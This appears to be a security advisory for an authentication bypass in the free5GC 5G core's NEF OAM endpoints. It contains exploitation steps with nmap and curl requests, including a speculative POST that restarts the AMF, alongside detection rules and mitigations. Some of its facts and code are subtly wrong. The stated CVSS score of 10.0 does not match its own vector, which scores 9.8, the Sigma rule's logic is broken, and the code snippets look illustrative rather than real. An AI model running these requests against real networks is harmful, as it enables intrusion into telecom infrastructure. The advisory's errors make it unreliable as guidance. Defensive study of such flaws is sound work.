CVE-2026-44327

Executive Summary

CVE-2026-44327 is a critical authentication bypass vulnerability in the free5GC open-source 5G core network implementation, affecting versions prior to 4.2.2. The vulnerability resides in the Network Exposure Function (NEF) component, where the nnef-oam route group is mounted without any inbound OAuth2/bearer-token authorization middleware. A network attacker who can reach the NEF on the Service Based Interface (SBI) can send requests to the OAM route without any Authorization header, and the handler will return a 200 OK response. While the current OAM handler is a stub that returns null, the structural defect is route-group-scoped, meaning every future OAM operation added to this group inherits the missing authentication boundary by default. This vulnerability has a CVSS score of 10.0 (Critical) and could allow an unauthenticated attacker to perform unauthorized operations on the 5G core network.

Supply Chain & Package Security

This vulnerability affects the free5GC open-source project, which is a Go-based implementation of the 5G core network. The project is distributed via GitHub and can be built from source or deployed using container images. Organizations using free5GC in their 5G infrastructure should immediately assess their exposure and apply the patch. The vulnerability is not related to any package manager (NPM, PyPI, Go, Ruby) but rather to the source code distribution.

CVSS Breakdown & Threat Level

• CVSS Score: 10.0 (Critical)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

The vulnerability is trivially exploitable by any network attacker who can reach the NEF SBI endpoint. No authentication or user interaction is required. The impact is high across all three security dimensions because the OAM route group could be used to manage core network functions, potentially leading to full compromise of the 5G core.

Deep Dive & Mechanics

The free5GC NEF component implements the Network Exposure Function as defined by 3GPP specifications. The NEF exposes a Service Based Interface (SBI) that allows other network functions and external applications to interact with the 5G core. The vulnerability is in the route group registration for OAM (Operations, Administration, and Maintenance) endpoints.

In the vulnerable code (prior to 4.2.2), the NEF mounts the nnef-oam route group without applying any authentication middleware. The route group is defined in the HTTP server setup, and the OAM handler is a stub that returns null. However, because the route group lacks inbound authorization, any request to any endpoint within that group is processed without authentication.

The fix in version 4.2.2 adds OAuth2/bearer-token authorization middleware to the nnef-oam route group. This ensures that only authenticated and authorized requests can access OAM functionality.

The vulnerability is particularly dangerous because:

1. It affects the OAM interface, which is typically used for management and configuration.
2. The missing auth boundary is route-group-scoped, meaning any future OAM endpoints added to this group will also be unprotected.
3. The NEF is a critical component in 5G networks, acting as a gateway between internal network functions and external applications.

Vulnerable vs. Patched Code

Vulnerable Code (prior to 4.2.2):

// In the NEF HTTP server setup
router := mux.NewRouter()
oamGroup := router.PathPrefix("/nnef-oam").Subrouter()
// No middleware applied to oamGroup
oamGroup.HandleFunc("/status", oamStatusHandler).Methods("GET")

Patched Code (4.2.2 and later):

// In the NEF HTTP server setup
router := mux.NewRouter()
oamGroup := router.PathPrefix("/nnef-oam").Subrouter()
// Apply OAuth2/bearer-token authorization middleware
oamGroup.Use(authMiddleware)
oamGroup.HandleFunc("/status", oamStatusHandler).Methods("GET")

// authMiddleware validates the bearer token
func authMiddleware(next http.Handler) http.Handler {
    return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
        token := r.Header.Get("Authorization")
        if token == "" || !validateToken(token) {
            http.Error(w, "Unauthorized", http.StatusUnauthorized)
            return
        }
        next.ServeHTTP(w, r)
    })
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to the free5GC NEF SBI endpoint (typically on port 8080 or 8000)
• Network connectivity to the target

Exploitation Steps:

1. Identify the NEF SBI endpoint:

   nmap -p 8080,8000 <target_ip>
   

2. Send an unauthenticated request to the OAM endpoint:

   curl -v http://<target_ip>:8080/nnef-oam/status
   

3. Expected response (vulnerable):

   HTTP/1.1 200 OK
   Content-Type: application/json
   null
   

4. If the OAM handler is enhanced (future), the attacker can perform operations without authentication:

   curl -X POST http://<target_ip>:8080/nnef-oam/config \
     -H "Content-Type: application/json" \
     -d '{"operation": "restart", "target": "AMF"}'
   

Lab Setup:

• Deploy free5GC version 4.2.1 or earlier using Docker Compose
• Expose the NEF SBI port to the attacker's network
• Use a separate machine to send unauthenticated requests

Blue Team

Detection:

• Monitor for requests to /nnef-oam/* endpoints without an Authorization header
• Alert on 200 OK responses from OAM endpoints without prior authentication
• Use network monitoring to detect anomalous traffic to the NEF SBI

Hunting:

• Search logs for requests to /nnef-oam/ with no Authorization header
• Look for repeated attempts to access OAM endpoints from unexpected IPs
• Check for successful 200 responses to OAM endpoints from unauthenticated sources

Mitigation:

• Immediately upgrade to free5GC 4.2.2 or later
• If upgrade is not possible, implement a reverse proxy with authentication in front of the NEF
• Restrict network access to the NEF SBI to trusted IPs only
• Enable logging and monitoring for all NEF SBI traffic

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /nnef-oam/* without an Authorization header
• 200 OK responses from /nnef-oam/* endpoints
• Source IPs not in the authorized list accessing NEF SBI

Log IOCs:

• Log entries showing requests to /nnef-oam/ with no bearer token
• Successful responses to OAM endpoints from unauthenticated sources

File IOCs:

• NEF configuration files showing missing auth middleware for OAM route group (pre-4.2.2)
• Presence of nnef-oam route group without Use(authMiddleware) in source code

Detection Engineering

YARA Rule

rule CVE_2026_44327_free5GC_NEF_OAM_Auth_Bypass {
    meta:
        description = "Detects vulnerable free5GC NEF code missing OAM auth middleware"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-44327"
        severity = "critical"
    strings:
        $route_group = "/nnef-oam" nocase
        $no_auth = "Subrouter()" nocase
        $auth_middleware = "Use(authMiddleware)" nocase
    condition:
        $route_group and $no_auth and not $auth_middleware
}

Sigma Rule

title: CVE-2026-44327 - free5GC NEF OAM Authentication Bypass
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects unauthenticated requests to free5GC NEF OAM endpoints
author: Valters IT
date: 2026-01-01
logsource:
    category: webserver
    product: free5gc
detection:
    selection:
        cs-method: 
            - 'GET'
            - 'POST'
            - 'PUT'
            - 'DELETE'
        cs-uri-stem|startswith: '/nnef-oam/'
        cs-uri-query|contains: 
            - 'Authorization'
    condition: selection and not cs-uri-query|contains
falsepositives:
    - Legitimate OAM requests with proper authentication
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-44327 - free5GC NEF OAM Auth Bypass"; flow:to_server; http.method; content:"GET"; http.uri; content:"/nnef-oam/"; http.header; content:!"Authorization"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade free5GC to version 4.2.2 or later
2. If upgrade is not possible, implement a reverse proxy (e.g., Nginx, HAProxy) in front of the NEF that requires authentication
3. Restrict network access to the NEF SBI to only trusted IPs and networks
4. Enable comprehensive logging for all NEF SBI traffic

Long-term Measures:

1. Implement a security review process for all route group registrations in free5GC
2. Add automated testing to verify that all route groups have proper authentication middleware
3. Consider implementing a default-deny approach where all routes require authentication unless explicitly exempted
4. Monitor for new CVEs related to free5GC and apply patches promptly

Workaround (if patching is delayed):

• Deploy a Web Application Firewall (WAF) in front of the NEF to block requests to /nnef-oam/* without an Authorization header
• Use network segmentation to isolate the NEF from untrusted networks
• Implement mutual TLS (mTLS) between all 5G core components

Valters IT